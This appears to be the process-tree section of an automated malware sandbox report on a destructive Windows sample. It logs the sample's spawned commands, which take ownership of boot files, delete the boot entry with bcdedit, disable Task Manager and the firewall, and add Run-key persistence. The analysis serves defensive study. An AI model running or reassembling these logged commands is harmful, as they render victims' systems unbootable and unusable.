        PID:11916
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:6944
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:6544
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:13376
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14120
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:14180
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14792
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:15676
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:16148
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:16288
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:16296
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:16304
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:16312
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:16320
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:19248
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:20308
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5620
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6160
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:6452
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6784
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\75B8.tmp\75B9.tmp\75BA.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:6308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:8312
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:9804
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:8320
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:9068
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:9300
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10204
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:10508
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:11020
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        
        PID:10608
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:11196
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:7892
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:2088
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:1544
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:8568
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:4160
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11128
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:3332
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:8216
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:2440
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:432
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:9828
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:4668
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:10052
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:11240
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:7224
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:5196
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:5360
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:8336
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7A47.tmp\7A48.tmp\7A49.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:13432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:13952
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        10⤵
        
        PID:17168
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:13960
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        Possible privilege escalation attempt
        
        PID:13940
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        9⤵
        Views/modifies file attributes
        
        PID:16100
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        9⤵
        Possible privilege escalation attempt
        
        PID:16768
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        9⤵
        
        PID:9100
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        9⤵
        Views/modifies file attributes
        
        PID:18296
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        9⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:20784
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:13244
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:13232
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7900
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:13796
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AD1E.tmp\AD1F.tmp\AD20.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:13632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:16508
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        10⤵
        Possible privilege escalation attempt
        
        PID:17740
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:15432
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        Possible privilege escalation attempt
        
        PID:760
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:18648
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        9⤵
        
        PID:20760
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:14400
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:14880
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:15288
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:15300
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AF51.tmp\AF52.tmp\AF63.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:2180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:18308
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        Possible privilege escalation attempt
        
        PID:8672
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        
        PID:21164
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        9⤵
        Views/modifies file attributes
        
        PID:8940
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:15308
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:15316
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:15324
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:15332
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AD8C.tmp\AD8D.tmp\AD9D.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:14352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:3368
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:21296
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:15340
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:15348
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:15356
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:13928
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AD8D.tmp\AD8D.tmp\AD8E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:14596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:15544
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        10⤵
        
        PID:20124
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:16404
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        9⤵
        
        PID:11524
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:17832
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        9⤵
        Possible privilege escalation attempt
        
        PID:20736
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:14024
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:13068
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:14228
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:6984
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:16084
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:16764
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:17252
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:14548
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        7⤵
        Modifies Windows Firewall
        
        PID:16624
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:13660
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        7⤵
        Modifies file permissions
        
        PID:20384
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5404
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6292
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7216
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7600
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\872C.tmp\872D.tmp\872E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:8024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9260
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:5656
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:9252
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:9736
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:9920
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:5708
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6304
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:3932
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:9860
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:1712
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:10620
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:6800
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:10900
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:8464
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:10860
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2796
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:4620
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:9664
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:9484
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:8416
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:6000
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:2140
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:6132
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:8696
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:8968
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:17324
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:15856
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:17840
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F15.tmp\1F13.tmp\1F14.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:20536
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:18528
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:18168
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:14192
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:14156
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F03.tmp\1F04.tmp\1F05.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        
        PID:20668
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:14172
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:6208
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:2120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\226F.tmp\226F.tmp\2270.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20800
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:13824
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:2648
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:15784
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:6960
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F13.tmp\1F13.tmp\1F14.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        Executes a command shell one-liner
        
        PID:4188
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        10⤵
        
        PID:11508
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        9⤵
        
        PID:10592
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:18984
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:18268
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18216
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        7⤵
        
        PID:14740
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\20D7.tmp\20D8.tmp\20D9.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:20684
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:19080
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9992
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:18192
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:17020
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:7668
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:21156
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:16488
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7620
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7652
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7660
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8372
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\99DA.tmp\99DB.tmp\99DC.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        
        PID:6736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:10688
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:7208
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:10696
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:10408
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:7948
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10700
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:11908
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:6504
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:12088
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:12884
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:10524
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:15208
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:15228
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:15984
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:16044
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:7012
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
